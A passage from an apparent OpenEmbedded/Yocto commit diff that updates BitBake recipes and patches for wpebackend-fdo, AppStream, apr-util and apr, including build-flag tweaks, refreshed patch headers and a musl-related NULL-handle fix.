+DEPENDS:append:class-target = " wayland-native"
+
+inherit meson features_check pkgconfig
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "93c9766ae9864eeaeaee2b0a74f22cbca08df42c1a1bdb55b086f2528e380d38"
+
+# Especially helps compiling with clang which enable this as error when
+# using c++11
+CXXFLAGS += "-Wno-c++11-narrowing"
+
+# This is a tweak of upstream-version-is-even needed because
+# ipstream directory contains tarballs for other components as well.
+UPSTREAM_CHECK_REGEX = "wpebackend-fdo-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar"
diff --git a/meta/recipes-sato/webkit/wpebackend-fdo_1.6.1.bb b/meta/recipes-sato/webkit/wpebackend-fdo_1.6.1.bb
deleted file mode 100644
index 2fdab42c38..0000000000
--- a/meta/recipes-sato/webkit/wpebackend-fdo_1.6.1.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "WPE's backend based on a freedesktop.org stack."
-HOMEPAGE = "https://github.com/Igalia/WPEBackend-fdo"
-BUGTRACKER = "https://github.com/Igalia/WPEBackend-fdo/issues"
-
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1f62cef2e3645e3e74eb05fd389d7a66"
-DEPENDS = "glib-2.0 libxkbcommon wayland virtual/egl libwpe"
-
-DEPENDS_append_class-target = " wayland-native"
-
-inherit cmake features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "740eee3327acfb462b8460519a219e30dc0a870326e88e2ddc4fe2c8de20b1c9"
-
diff --git a/meta/recipes-support/appstream/appstream/0001-remove-hardcoded-path.patch b/meta/recipes-support/appstream/appstream/0001-remove-hardcoded-path.patch
new file mode 100644
index 0000000000..bc811d67b0
--- /dev/null
+++ b/meta/recipes-support/appstream/appstream/0001-remove-hardcoded-path.patch
@@ -0,0 +1,32 @@
+From fe9ebb8c0fa7b84a9c5c667386b8fbb3baea2fad Mon Sep 17 00:00:00 2001
+From: Markus Volk <f_l_k@t-online.de>
+Date: Mon, 12 Dec 2022 15:42:42 +0100
+Subject: [PATCH] remove hardcoded path
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+
+Dont include hardcoded path. This fixes:
+| cc1: error: include location "/usr/include" is unsafe for cross-compilation [-Werror=poison-system-directories]
+
+Upstream-Status: Inappropriate [oe-specific]
+---
+ meson.build | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index fa171d5..79d5168 100644
+--- a/meson.build
++++ b/meson.build
+@@ -185,10 +185,10 @@ endif
+ stemmer_inc_dirs = include_directories()
+ if get_option('stemming')
+ stemmer_lib = cc.find_library('stemmer', required: true)
+- stemmer_inc_dirs = include_directories(['/usr/include'])
++ stemmer_inc_dirs = include_directories([''])
+ if not cc.has_header('libstemmer.h')
+ if cc.has_header('libstemmer/libstemmer.h')
+- stemmer_inc_dirs = include_directories('/usr/include/libstemmer')
++ stemmer_inc_dirs = include_directories('')
+ else
+ error('Unable to find Snowball header "libstemmer.h". Please ensure libstemmer/Snowball is installed properly in order to continue.')
+ endif
diff --git a/meta/recipes-support/appstream/appstream_1.0.2.bb b/meta/recipes-support/appstream/appstream_1.0.2.bb
new file mode 100644
index 0000000000..7eb12a04c5
--- /dev/null
+++ b/meta/recipes-support/appstream/appstream_1.0.2.bb
@@ -0,0 +1,44 @@
+SUMMARY = "AppStream is a collaborative effort for making machine-readable software metadata easily available."
+HOMEPAGE = "https://github.com/ximion/appstream"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=435ed639f84d4585d93824e7da3d85da"
+
+DEPENDS = " \
+ appstream-native \
+ curl-native \
+ curl \
+ docbook-xml-dtd4-native \
+ gperf-native \
+ glib-2.0 \
+ libyaml \
+ libxml2 \
+ libxmlb \
+ libxslt-native \
+ itstool-native \
+ docbook-xsl-stylesheets-native \
+ python3-pygments-native \
+"
+
+inherit meson gobject-introspection gettext gi-docgen pkgconfig vala
+
+GIR_MESON_OPTION = "gir"
+GIDOCGEN_MESON_OPTION = "apidocs"
+
+SRC_URI = " \
+ https://www.freedesktop.org/software/appstream/releases/AppStream-${PV}.tar.xz \
+ file://0001-remove-hardcoded-path.patch \
+"
+SRC_URI[sha256sum] = "1a5148ca97dcbf5eb6e9c380278bb0d20938569292ea8652df1b3cac8bd2736b"
+
+S = "${WORKDIR}/AppStream-${PV}"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+
+PACKAGECONFIG[systemd] = "-Dsystemd=true,-Dsystemd=false,systemd"
+PACKAGECONFIG[stemming] = "-Dstemming=true,-Dstemming=false,libstemmer"
+
+FILES:${PN} += "${datadir}"
+
+EXTRA_OEMESON += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dvapi=true', '-Dvapi=false', d)}"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch b/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
deleted file mode 100644
index 57e7453312..0000000000
--- a/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
+++ /dev/null
@@ -1,135 +0,0 @@
-From 6b638fa9afbeb54dfa19378e391465a5284ce1ad Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 12 Sep 2018 17:16:36 +0800
-Subject: [PATCH] Fix error handling in gdbm
-
-Only check for gdbm_errno if the return value of the called gdbm_*
-function says so. This fixes apr-util with gdbm 1.14, which does not
-seem to always reset gdbm_errno.
-
-Also make the gdbm driver return error codes starting with
-APR_OS_START_USEERR instead of always returning APR_EGENERAL. This is
-what the berkleydb driver already does.
-
-Also ensure that dsize is 0 if dptr == NULL.
-
-Upstream-Status: Backport[https://svn.apache.org/viewvc?
-view=revision&amp;revision=1825311]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- dbm/apr_dbm_gdbm.c | 47 +++++++++++++++++++++++++++++------------------
- 1 file changed, 29 insertions(+), 18 deletions(-)
-
-diff --git a/dbm/apr_dbm_gdbm.c b/dbm/apr_dbm_gdbm.c
-index 749447a..1c86327 100644
---- a/dbm/apr_dbm_gdbm.c
-+++ b/dbm/apr_dbm_gdbm.c
-@@ -36,13 +36,25 @@
- static apr_status_t g2s(int gerr)
- {
- if (gerr == -1) {
-- /* ### need to fix this */
-- return APR_EGENERAL;
-+ if (gdbm_errno == GDBM_NO_ERROR)
-+ return APR_SUCCESS;
-+ return APR_OS_START_USEERR + gdbm_errno;
- }
-
- return APR_SUCCESS;
- }
-
-+static apr_status_t gdat2s(datum d)
-+{
-+ if (d.dptr == NULL) {
-+ if (gdbm_errno == GDBM_NO_ERROR || gdbm_errno == GDBM_ITEM_NOT_FOUND)
-+ return APR_SUCCESS;
-+ return APR_OS_START_USEERR + gdbm_errno;
-+ }
-+
-+ return APR_SUCCESS;
-+}
-+
- static apr_status_t datum_cleanup(void *dptr)
- {
- if (dptr)
-@@ -53,22 +65,15 @@ static apr_status_t datum_cleanup(void *dptr)
-
- static apr_status_t set_error(apr_dbm_t *dbm, apr_status_t dbm_said)
- {
-- apr_status_t rv = APR_SUCCESS;
-
-- /* ### ignore whatever the DBM said (dbm_said); ask it explicitly */
-+ dbm->errcode = dbm_said;
-
-- if ((dbm->errcode = gdbm_errno) == GDBM_NO_ERROR) {
-+ if (dbm_said == APR_SUCCESS)
- dbm->errmsg = NULL;
-- }
-- else {
-- dbm->errmsg = gdbm_strerror(gdbm_errno);
-- rv = APR_EGENERAL; /* ### need something better */
-- }
--
-- /* captured it. clear it now. */
-- gdbm_errno = GDBM_NO_ERROR;
-+ else
-+ dbm->errmsg = gdbm_strerror(dbm_said - APR_OS_START_USEERR);
-
-- return rv;
-+ return dbm_said;
- }
-
- /* --------------------------------------------------------------------------
-@@ -107,7 +112,7 @@ static apr_status_t vt_gdbm_open(apr_dbm_t **pdb, const char *pathname,
- NULL);
-
- if (file == NULL)
-- return APR_EGENERAL; /* ### need a better error */
-+ return APR_OS_START_USEERR + gdbm_errno; /* ### need a better error */
-
- /* we have an open database... return it */
- *pdb = apr_pcalloc(pool, sizeof(**pdb));
-@@ -141,10 +146,12 @@ static apr_status_t vt_gdbm_fetch(apr_dbm_t *dbm, apr_datum_t key,
- if (pvalue->dptr)
- apr_pool_cleanup_register(dbm->pool, pvalue->dptr, datum_cleanup,
- apr_pool_cleanup_null);
-+ else
-+ pvalue->dsize = 0;
-
- /* store the error info into DBM, and return a status code. Also, note
- that *pvalue should have been cleared on error. */
-- return set_error(dbm, APR_SUCCESS);
-+ return set_error(dbm, gdat2s(rd));
- }
-
- static apr_status_t vt_gdbm_store(apr_dbm_t *dbm, apr_datum_t key,
-@@ -201,9 +208,11 @@ static apr_status_t vt_gdbm_firstkey(apr_dbm_t *dbm, apr_datum_t *pkey)
- if (pkey->dptr)
- apr_pool_cleanup_register(dbm->pool, pkey->dptr, datum_cleanup,
- apr_pool_cleanup_null);
-+ else
-+ pkey->dsize = 0;
-
- /* store any error info into DBM, and return a status code. */
-- return set_error(dbm, APR_SUCCESS);
-+ return set_error(dbm, gdat2s(rd));
- }
-
- static apr_status_t vt_gdbm_nextkey(apr_dbm_t *dbm, apr_datum_t *pkey)
-@@ -221,9 +230,11 @@ static apr_status_t vt_gdbm_nextkey(apr_dbm_t *dbm, apr_datum_t *pkey)
- if (pkey->dptr)
- apr_pool_cleanup_register(dbm->pool, pkey->dptr, datum_cleanup,
- apr_pool_cleanup_null);
-+ else
-+ pkey->dsize = 0;
-
- /* store any error info into DBM, and return a status code. */
-- return set_error(dbm, APR_SUCCESS);
-+ return set_error(dbm, gdat2s(rd));
- }
-
- static void vt_gdbm_freedatum(apr_dbm_t *dbm, apr_datum_t data)
---
-2.7.4
-
diff --git a/meta/recipes-support/apr/apr-util/0001-test_transformation-Check-if-transform-is-supported-.patch b/meta/recipes-support/apr/apr-util/0001-test_transformation-Check-if-transform-is-supported-.patch
new file mode 100644
index 0000000000..261b78736f
--- /dev/null
+++ b/meta/recipes-support/apr/apr-util/0001-test_transformation-Check-if-transform-is-supported-.patch
@@ -0,0 +1,37 @@
+From 3a97f58cfb40fc1911bbfd067e8457a472613d75 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 18 Apr 2023 22:58:00 -0700
+Subject: [PATCH] test_transformation: Check if transform is supported before
+ using it
+
+This helps in excluding these tests on systems where these are not
+available e.g. musl
+
+Upstream-Status: Submitted [https://bz.apache.org/bugzilla/show_bug.cgi?id=66570]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ test/testxlate.c | 8 ++++++--
+ 1 file changed, 6 insertions(+), 2 deletions(-)
+
+diff --git a/test/testxlate.c b/test/testxlate.c
+index 6981eff..de00fa4 100644
+--- a/test/testxlate.c
++++ b/test/testxlate.c
+@@ -116,8 +116,12 @@ static void test_transformation(abts_case *tc, void *data)
+ }
+
+ /* 4. Transformation using charset aliases */
+- one_test(tc, "UTF-8", "UTF-7", test_utf8, test_utf7, p);
+- one_test(tc, "UTF-7", "UTF-8", test_utf7, test_utf8, p);
++ if (is_transform_supported(tc, "UTF-8", "UTF-7", p)) {
++ one_test(tc, "UTF-8", "UTF-7", test_utf8, test_utf7, p);
++ }
++ if (is_transform_supported(tc, "UTF-7", "UTF-8", p)) {
++ one_test(tc, "UTF-7", "UTF-8", test_utf7, test_utf8, p);
++ }
+ }
+
+ #endif /* APR_HAS_XLATE */
+--
+2.40.0
+
diff --git a/meta/recipes-support/apr/apr-util_1.6.1.bb b/meta/recipes-support/apr/apr-util_1.6.1.bb
deleted file mode 100644
index 0dd8f025e8..0000000000
--- a/meta/recipes-support/apr/apr-util_1.6.1.bb
+++ /dev/null
@@ -1,97 +0,0 @@
-SUMMARY = "Apache Portable Runtime (APR) companion library"
-HOMEPAGE = "http://apr.apache.org/"
-SECTION = "libs"
-DEPENDS = "apr expat"
-
-BBCLASSEXTEND = "native nativesdk"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=158aa0b1efe0c12f23d4b007ddb9a5db \
- file://include/apu_version.h;endline=15;md5=823b3d1a7225df8f7b68a69c3c2b4c71"
-
-SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.gz \
- file://configfix.patch \
- file://configure_fixes.patch \
- file://run-ptest \
- file://0001-Fix-error-handling-in-gdbm.patch \
-"
-
-SRC_URI[md5sum] = "bd502b9a8670a8012c4d90c31a84955f"
-SRC_URI[sha256sum] = "b65e40713da57d004123b6319828be7f1273fbc6490e145874ee1177e112c459"
-
-EXTRA_OECONF = "--with-apr=${STAGING_BINDIR_CROSS}/apr-1-config \
- --without-odbc \
- --without-pgsql \
- --with-dbm=gdbm \
- --without-sqlite2 \
- --with-expat=${STAGING_DIR_HOST}${prefix}"
-
-
-inherit autotools lib_package binconfig multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apu-1-config"
-
-OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
-
-do_configure_append() {
- if [ "${CLASSOVERRIDE}" = "class-target" ]; then
- cp ${STAGING_DATADIR}/apr/apr_rules.mk ${B}/build/rules.mk
- fi
-}
-do_configure_prepend_class-native() {
- mkdir ${B}/build
- cp ${STAGING_DATADIR_NATIVE}/apr/apr_rules.mk ${B}/build/rules.mk
-}
-do_configure_append_class-native() {
- sed -i "s#LIBTOOL=\$(SHELL) \$(apr_builddir)#LIBTOOL=\$(SHELL) ${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
- # sometimes there isn't SHELL
- sed -i "s#LIBTOOL=\$(apr_builddir)#LIBTOOL=${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
-}
-
-do_configure_prepend_class-nativesdk() {
- cp ${STAGING_DATADIR}/apr/apr_rules.mk ${S}/build/rules.mk
-}
-
-do_configure_append_class-nativesdk() {
- sed -i "s#\(apr_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
- sed -i "s#\(apr_builders\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
- sed -i "s#\(top_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
- sed -i "s#\(LIBTOOL=\$(apr_builddir)\).*#\1/libtool#" ${B}/build/rules.mk
-}
-
-do_install_append_class-target() {
- sed -i -e 's,${STAGING_DIR_HOST},,g' \
- -e 's,APU_SOURCE_DIR=.*,APR_SOURCE_DIR=,g' \
- -e 's,APU_BUILD_DIR=.*,APR_BUILD_DIR=,g' ${D}${bindir}/apu-1-config
-}
-
-PACKAGECONFIG ??= "crypto gdbm"
-PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
-PACKAGECONFIG[crypto] = "--with-openssl=${STAGING_DIR_HOST}${prefix} --with-crypto,--without-crypto,openssl"
-PACKAGECONFIG[sqlite3] = "--with-sqlite3=${STAGING_DIR_HOST}${prefix},--without-sqlite3,sqlite3"
-PACKAGECONFIG[gdbm] = "--with-gdbm=${STAGING_DIR_HOST}${prefix},--without-gdbm,gdbm"
-
-#files ${libdir}/apr-util-1/*.so are not symlinks but loadable modules thus they are packaged in ${PN}
-FILES_${PN} += "${libdir}/apr-util-1/apr*${SOLIBS} ${libdir}/apr-util-1/apr*${SOLIBSDEV}"
-FILES_${PN}-dev += "${libdir}/aprutil.exp ${libdir}/apr-util-1/*.la"
-FILES_${PN}-staticdev += "${libdir}/apr-util-1/*.a"
-
-INSANE_SKIP_${PN} += "dev-so"
-
-inherit ptest
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-iso8859-1 glibc-gconv-iso8859-2 glibc-gconv-utf-7"
-RDEPENDS_${PN}-ptest += "libgcc"
-
-do_compile_ptest() {
- cd ${B}/test
- oe_runmake
-}
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}/test
- mkdir $t
- for i in testall data; do \
- cp -r ${B}/test/$i $t; \
- done
-}
diff --git a/meta/recipes-support/apr/apr-util_1.6.3.bb b/meta/recipes-support/apr/apr-util_1.6.3.bb
new file mode 100644
index 0000000000..1371e262dd
--- /dev/null
+++ b/meta/recipes-support/apr/apr-util_1.6.3.bb
@@ -0,0 +1,97 @@
+SUMMARY = "Apache Portable Runtime (APR) companion library"
+HOMEPAGE = "http://apr.apache.org/"
+SECTION = "libs"
+DEPENDS = "apr expat"
+
+BBCLASSEXTEND = "native nativesdk"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=158aa0b1efe0c12f23d4b007ddb9a5db \
+ file://include/apu_version.h;endline=15;md5=823b3d1a7225df8f7b68a69c3c2b4c71"
+
+SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.gz \
+ file://configfix.patch \
+ file://configure_fixes.patch \
+ file://0001-test_transformation-Check-if-transform-is-supported-.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "2b74d8932703826862ca305b094eef2983c27b39d5c9414442e9976a9acf1983"
+
+EXTRA_OECONF = "--with-apr=${STAGING_BINDIR_CROSS}/apr-1-config \
+ --without-odbc \
+ --without-pgsql \
+ --without-sqlite2 \
+ --with-expat=${STAGING_DIR_HOST}${prefix}"
+
+
+inherit autotools lib_package binconfig multilib_script
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apu-1-config"
+
+OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
+
+do_configure:append() {
+ if [ "${CLASSOVERRIDE}" = "class-target" ]; then
+ cp ${STAGING_DATADIR}/apr/apr_rules.mk ${B}/build/rules.mk
+ sed -i -e 's#^CFLAGS=.*#CFLAGS=${TARGET_CFLAGS}#g' ${B}/build/rules.mk
+ fi
+}
+do_configure:prepend:class-native() {
+ mkdir ${B}/build
+ cp ${STAGING_DATADIR_NATIVE}/apr/apr_rules.mk ${B}/build/rules.mk
+}
+do_configure:append:class-native() {
+ sed -i "s#LIBTOOL=\$(SHELL) \$(apr_builddir)#LIBTOOL=\$(SHELL) ${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
+ # sometimes there isn't SHELL
+ sed -i "s#LIBTOOL=\$(apr_builddir)#LIBTOOL=${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
+}
+
+do_configure:prepend:class-nativesdk() {
+ cp ${STAGING_DATADIR}/apr/apr_rules.mk ${S}/build/rules.mk
+ sed -i -e 's#^CFLAGS=.*#CFLAGS=${TARGET_CFLAGS}#g' ${S}/build/rules.mk
+}
+
+do_configure:append:class-nativesdk() {
+ sed -i "s#\(apr_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
+ sed -i "s#\(apr_builders\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
+ sed -i "s#\(top_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
+ sed -i "s#\(LIBTOOL=\$(apr_builddir)\).*#\1/libtool#" ${B}/build/rules.mk
+}
+
+do_install:append:class-target() {
+ sed -i -e 's,${STAGING_DIR_HOST},,g' \
+ -e 's,APU_SOURCE_DIR=.*,APR_SOURCE_DIR=,g' \
+ -e 's,APU_BUILD_DIR=.*,APR_BUILD_DIR=,g' ${D}${bindir}/apu-1-config
+}
+
+PACKAGECONFIG ??= "crypto gdbm"
+PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
+PACKAGECONFIG[crypto] = "--with-openssl=${STAGING_DIR_HOST}${prefix} --with-crypto,--without-crypto,openssl"
+PACKAGECONFIG[sqlite3] = "--with-sqlite3=${STAGING_DIR_HOST}${prefix},--without-sqlite3,sqlite3"
+PACKAGECONFIG[gdbm] = "--with-dbm=gdbm --with-gdbm=${STAGING_DIR_HOST}${prefix},--without-gdbm,gdbm"
+
+#files ${libdir}/apr-util-1/*.so are not symlinks but loadable modules thus they are packaged in ${PN}
+FILES:${PN} += "${libdir}/apr-util-1/apr*${SOLIBS} ${libdir}/apr-util-1/apr*${SOLIBSDEV}"
+FILES:${PN}-dev += "${libdir}/aprutil.exp ${libdir}/apr-util-1/*.la"
+FILES:${PN}-staticdev += "${libdir}/apr-util-1/*.a"
+
+INSANE_SKIP:${PN} += "dev-so"
+
+inherit ptest
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-iso8859-1 glibc-gconv-iso8859-2 glibc-gconv-utf-7"
+RDEPENDS:${PN}-ptest += "libgcc"
+
+do_compile_ptest() {
+ cd ${B}/test
+ oe_runmake
+}
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}/test
+ mkdir $t
+ for i in testall data; do \
+ cp -r ${B}/test/$i $t; \
+ done
+}
diff --git a/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch b/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch
index abff4e9331..a274f3a16e 100644
--- a/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch
+++ b/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch
@@ -1,14 +1,15 @@
-From 2bbe20b4f69e84e7a18bc79d382486953f479328 Mon Sep 17 00:00:00 2001
+From 225abf37cd0b49960664b59f08e515a4c4ea5ad0 Mon Sep 17 00:00:00 2001
From: Jeremy Puhlman <jpuhlman@mvista.com>
Date: Thu, 26 Mar 2020 18:30:36 +0000
Subject: [PATCH] Add option to disable timed dependant tests
-The disabled tests rely on timing to pass correctly. On a virtualized
+The disabled tests rely on timing to pass correctly. On a virtualized
system under heavy load, these tests randomly fail because they miss
a timer or other timing related issues.
Upstream-Status: Pending
Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+
---
configure.in | 6 ++++++
include/apr.h.in | 1 +
@@ -16,10 +17,10 @@ Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
3 files changed, 9 insertions(+), 2 deletions(-)
diff --git a/configure.in b/configure.in
-index d9f32d6..f0c5661 100644
+index bfd488b..3663220 100644
--- a/configure.in
+++ b/configure.in
-@@ -2886,6 +2886,12 @@ AC_ARG_ENABLE(timedlocks,
+@@ -3023,6 +3023,12 @@ AC_ARG_ENABLE(timedlocks,
)
AC_SUBST(apr_has_timedlocks)
@@ -45,10 +46,10 @@ index ee99def..c46a5f4 100644
#define APR_PROCATTR_USER_SET_REQUIRES_PASSWORD @apr_procattr_user_set_requires_password@
diff --git a/test/testlock.c b/test/testlock.c
-index a43f477..6233d0b 100644
+index e3437c1..04e01b9 100644
--- a/test/testlock.c
+++ b/test/testlock.c
-@@ -396,13 +396,13 @@ abts_suite *testlock(abts_suite *suite)
+@@ -535,7 +535,7 @@ abts_suite *testlock(abts_suite *suite)
abts_run_test(suite, threads_not_impl, NULL);
#else
abts_run_test(suite, test_thread_mutex, NULL);
@@ -56,6 +57,8 @@ index a43f477..6233d0b 100644
+#if APR_HAS_TIMEDLOCKS && APR_HAVE_TIME_DEPENDANT_TESTS
abts_run_test(suite, test_thread_timedmutex, NULL);
#endif
+ abts_run_test(suite, test_thread_nestedmutex, NULL);
+@@ -543,7 +543,7 @@ abts_suite *testlock(abts_suite *suite)
abts_run_test(suite, test_thread_rwlock, NULL);
abts_run_test(suite, test_cond, NULL);
abts_run_test(suite, test_timeoutcond, NULL);
@@ -63,7 +66,4 @@ index a43f477..6233d0b 100644
+#if APR_HAS_TIMEDLOCKS && APR_HAVE_TIME_DEPENDANT_TESTS
abts_run_test(suite, test_timeoutmutex, NULL);
#endif
- #endif
---
-2.23.0
-
+ #ifdef WIN32
diff --git a/meta/recipes-support/apr/apr/0001-configure-Remove-runtime-test-for-mmap-that-can-map-.patch b/meta/recipes-support/apr/apr/0001-configure-Remove-runtime-test-for-mmap-that-can-map-.patch
new file mode 100644
index 0000000000..a78b16284f
--- /dev/null
+++ b/meta/recipes-support/apr/apr/0001-configure-Remove-runtime-test-for-mmap-that-can-map-.patch
@@ -0,0 +1,58 @@
+From 316b81c462f065927d7fec56aadd5c8cb94d1cf0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 26 Aug 2022 00:28:08 -0700
+Subject: [PATCH] configure: Remove runtime test for mmap that can map
+ /dev/zero
+
+This never works for cross-compile moreover it ends up disabling
+ac_cv_file__dev_zero which then results in compiler errors in shared
+mutexes
+
+Upstream-Status: Inappropriate [Cross-compile specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ configure.in | 30 ------------------------------
+ 1 file changed, 30 deletions(-)
+
+diff --git a/configure.in b/configure.in
+index 3663220..dce9789 100644
+--- a/configure.in
++++ b/configure.in
+@@ -1303,36 +1303,6 @@ AC_CHECK_FUNCS([mmap munmap shm_open shm_unlink shmget shmat shmdt shmctl \
+ APR_CHECK_DEFINE(MAP_ANON, sys/mman.h)
+ AC_CHECK_FILE(/dev/zero)
+
+-# Not all systems can mmap /dev/zero (such as HP-UX). Check for that.
+-if test "$ac_cv_func_mmap" = "yes" &&
+- test "$ac_cv_file__dev_zero" = "yes"; then
+- AC_CACHE_CHECK([for mmap that can map /dev/zero],
+- [ac_cv_mmap__dev_zero],
+- [AC_TRY_RUN([#include <sys/types.h>
+-#include <sys/stat.h>
+-#include <fcntl.h>
+-#ifdef HAVE_SYS_MMAN_H
+-#include <sys/mman.h>
+-#endif
+- int main()
+- {
+- int fd;
+- void *m;
+- fd = open("/dev/zero", O_RDWR);
+- if (fd < 0) {
+- return 1;
+- }
+- m = mmap(0, sizeof(void*), PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
+- if (m == (void *)-1) { /* aka MAP_FAILED */
+- return 2;
+- }
+- if (munmap(m, sizeof(void*)) < 0) {
+- return 3;
+- }
+- return 0;
+- }], [], [ac_cv_file__dev_zero=no], [ac_cv_file__dev_zero=no])])
+-fi
+-
+ # Now we determine which one is our anonymous shmem preference.
+ haveshmgetanon="0"
+ havemmapzero="0"
diff --git a/meta/recipes-support/apr/apr/0001-dso-Check-for-NULL-handle-in-apr_dso_sym.patch b/meta/recipes-support/apr/apr/0001-dso-Check-for-NULL-handle-in-apr_dso_sym.patch
new file mode 100644
index 0000000000..8ba181b887
--- /dev/null
+++ b/meta/recipes-support/apr/apr/0001-dso-Check-for-NULL-handle-in-apr_dso_sym.patch
@@ -0,0 +1,37 @@
+From a25be1aaa92a6d2e7f4cc3fdfbb92e5a10b63035 Mon Sep 17 00:00:00 2001
+From: Greg Beard <gmbeard@googlemail.com>
+Date: Sat, 25 Mar 2023 08:31:36 +0000
+Subject: [PATCH] dso: Check for NULL handle in apr_dso_sym
+
+Upstream-Status: Backport [https://github.com/apache/apr/pull/40/commits/0efce00093b1ba405d91c7f0eab9755c8527eead]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ dso/unix/dso.c | 12 ++++++++++++
+ 1 file changed, 12 insertions(+)
+
+diff --git a/dso/unix/dso.c b/dso/unix/dso.c
+index fdd56f1..583d5de 100644
+--- a/dso/unix/dso.c
++++ b/dso/unix/dso.c
+@@ -173,6 +173,18 @@ APR_DECLARE(apr_status_t) apr_dso_sym(apr_dso_handle_sym_t *ressym,
+ apr_dso_handle_t *handle,
+ const char *symname)
+ {
++ /* This is necessary for `testdso.c`. For some reason, musl
++ * builds fail the `test_unload_library` test if the below
++ * check isn't in place. `test_unload_library` unloads the
++ * library and then immediately calls this function. Maybe
++ * musl's `dlsym()` assumes the handle is never NULL and
++ * some UB is being invoked here...
++ */
++ if (handle->handle == NULL) {
++ handle->errormsg = "library not loaded";
++ return APR_ESYMNOTFOUND;
++ }
++
+ #if defined(DSO_USE_SHL)
+ void *symaddr = NULL;
+ int status;
+--
+2.42.0
+
diff --git a/meta/recipes-support/apr/apr/0002-apr-Remove-workdir-path-references-from-installed-ap.patch b/meta/recipes-support/apr/apr/0002-apr-Remove-workdir-path-references-from-installed-ap.patch
index 72e706f966..d63423f3a1 100644
--- a/meta/recipes-support/apr/apr/0002-apr-Remove-workdir-path-references-from-installed-ap.patch
+++ b/meta/recipes-support/apr/apr/0002-apr-Remove-workdir-path-references-from-installed-ap.patch
@@ -1,8 +1,7 @@
-From 5925b20da8bbc34d9bf5a5dca123ef38864d43c6 Mon Sep 17 00:00:00 2001
+From 689a8db96a6d1e1cae9cbfb35d05ac82140a6555 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 30 Jan 2018 09:39:06 +0800
-Subject: [PATCH 2/7] apr: Remove workdir path references from installed apr
- files
+Subject: [PATCH] apr: Remove workdir path references from installed apr files
Upstream-Status: Inappropriate [configuration]
@@ -14,20 +13,23 @@ packages at target run time, the workdir path caused confusion.
Rebase to 1.6.3
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- apr-config.in | 26 ++------------------------
- 1 file changed, 2 insertions(+), 24 deletions(-)
+ apr-config.in | 32 ++------------------------------
+ 1 file changed, 2 insertions(+), 30 deletions(-)
diff --git a/apr-config.in b/apr-config.in
-index 84b4073..bbbf651 100644
+index bed47ca..47874e5 100644
--- a/apr-config.in
+++ b/apr-config.in
-@@ -152,14 +152,7 @@ while test $# -gt 0; do
+@@ -164,16 +164,7 @@ while test $# -gt 0; do
flags="$flags $LDFLAGS"
;;
--includes)
- if test "$location" = "installed"; then
